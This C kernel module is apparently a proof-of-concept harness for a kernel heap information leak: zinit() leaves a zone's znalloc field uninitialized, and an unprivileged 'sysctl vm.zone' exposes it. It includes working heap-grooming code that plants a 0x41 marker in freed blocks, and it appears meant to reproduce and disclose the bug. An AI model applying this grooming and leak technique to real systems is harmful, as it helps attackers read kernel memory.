/*
 * DF-2829 PoC harness: uninitialized vm_zone->znalloc kernel-heap disclosure
 * via unprivileged `sysctl vm.zone` (REQUESTS column).
 *
 * Method:
 *   1. Groom the kernel heap: kmalloc sizeof(struct vm_zone) blocks, fill the
 *      whole block with the marker byte 0x41, then kfree them. zinit() does
 *      kmalloc(sizeof(struct vm_zone), M_ZONE, M_NOWAIT) *without* M_ZERO and
 *      zinitna() never initializes z->znalloc, so the new zone's znalloc field
 *      should inherit our marker 0x4141414141414141.
 *   2. Create a zone via zinit(). (ZONE_DESTROYABLE so we can cleanly repeat.)
 *   3. An *unprivileged* user then reads `sysctl vm.zone`; the REQUESTS column
 *      for the zone prints (stale znalloc + real counts) in decimal.
 *
 * Expected: REQUESTS for "leakmark_zone" prints ~4702111234474983745
 * (0x4141414141414141) => uninitialized kernel heap memory crossed to
 * userspace through a stock, world-readable sysctl.
 *
 * Build: see build.sh   (KLD, loaded by root; the leak is read by nobody)
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <vm/vm_zone.h>

MALLOC_DEFINE(M_DF2829, "df2829groom", "DF-2829 heap groom marker");

static vm_zone_t z2829;

static int
df2829_modevent(module_t mod, int type, void *data)
{
	void *p;
	int i;

	switch (type) {
	case MOD_LOAD:
		/*
		 * Groom: fill & free blocks of exactly the size zinit() will
		 * request, so the freed content (0x41 pattern) sits in the
		 * allocator's cache for the next same-size allocation.
		 */
		for (i = 0; i < 16; i++) {
			p = kmalloc(sizeof(struct vm_zone), M_DF2829, M_WAITOK);
			if (p == NULL)
				break;
			memset(p, 0x41, sizeof(struct vm_zone));
			kfree(p, M_DF2829);
		}
		kprintf("df2829: groomed %d blocks of %zu bytes\n",
			i, sizeof(struct vm_zone));

		z2829 = zinit("leakmark_zone", 64, 1, ZONE_DESTROYABLE);
		if (z2829 == NULL) {
			kprintf("df2829: zinit failed\n");
			return (ENOMEM);
		}
		kprintf("df2829: zone=%p sizeof(struct vm_zone)=%zu "
			"znalloc now = uninit heap (expect 0x4141414141414141)\n",
			z2829, sizeof(struct vm_zone));
		break;
	case MOD_UNLOAD:
		if (z2829 != NULL)
			zdestroy(z2829);
		z2829 = NULL;
		break;
	default:
		break;
	}
	return (0);
}

static moduledata_t df2829_mod = { "df2829", df2829_modevent, NULL };
DECLARE_MODULE(df2829, df2829_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
